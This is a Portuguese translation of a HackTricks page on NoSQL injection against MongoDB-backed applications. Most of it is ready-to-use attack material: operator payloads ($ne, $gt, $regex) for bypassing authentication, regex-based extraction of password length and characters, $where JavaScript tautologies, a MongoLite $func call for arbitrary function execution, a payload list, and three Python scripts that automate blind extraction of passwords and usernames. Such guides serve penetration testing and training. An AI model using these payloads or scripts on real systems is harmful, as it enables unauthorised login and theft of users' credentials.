13 KiB
Injeção NoSQL
Use Trickest para construir facilmente e automatizar fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os repositórios HackTricks e HackTricks Cloud.
Explorar
Em PHP, você pode enviar um Array alterando o parâmetro enviado de parâmetro=foo para parâmetro[arrName]=foo.
Os exploits são baseados em adicionar um Operador:
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
Bypass de autenticação básica
Usando não igual ($ne) ou maior ($gt)
#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true
#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
SQL - Mongo
query = { $where: `this.username == '${username}'` }
Um atacante pode explorar isso inserindo strings como admin' || 'a'=='a
, fazendo a consulta retornar todos os documentos ao satisfazer a condição com uma tautologia ('a'=='a'
). Isso é análogo aos ataques de injeção SQL, onde entradas como ' or 1=1-- -
são usadas para manipular consultas SQL. No MongoDB, injeções semelhantes podem ser feitas usando entradas como ' || 1==1//
, ' || 1==1%00
, ou admin' || 'a'=='a
.
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
Extrair informações de comprimento
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...
Extrair informações de dados
in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
SQL - Mongo
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
Execução Arbitrária de Funções em PHP
Usando o operador $func da biblioteca MongoLite (usado por padrão), pode ser possível executar uma função arbitrária como neste relatório.
"user":{"$func": "var_dump"}
Obter informações de coleções diferentes
É possível usar $lookup para obter informações de uma coleção diferente. No exemplo a seguir, estamos lendo de uma coleção diferente chamada users
e obtendo os resultados de todas as entradas com uma senha correspondente a um caractere curinga.
OBSERVAÇÃO: $lookup
e outras funções de agregação estão disponíveis apenas se a função aggregate()
foi usada para realizar a pesquisa em vez das funções mais comuns find()
ou findOne()
.
[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]
Use Trickest para construir facilmente e automatizar fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje mesmo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Cargas Úteis do MongoDB
Lista aqui
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
Script de Blind NoSQL
Blind NoSQL injection is similar to blind SQL injection, but it targets NoSQL databases. The attacker sends malicious queries to the database to extract information based on the application's response time. This script automates the process of extracting data through blind NoSQL injection.
import requests, string
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
Forçar nomes de usuário e senhas de login a partir do POST login
Este é um script simples que você poderia modificar, mas as ferramentas anteriores também podem realizar essa tarefa.
import requests
import string
url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames
for u in get_usernames(""):
get_password(u)
Ferramentas
- https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration
- https://github.com/C4l1b4n/NoSQL-Attack-Suite
Referências
- https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
- https://nullsweep.com/a-nosql-injection-primer-with-mongo/
- https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.
Use Trickest para construir e automatizar fluxos de trabalho facilmente com as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}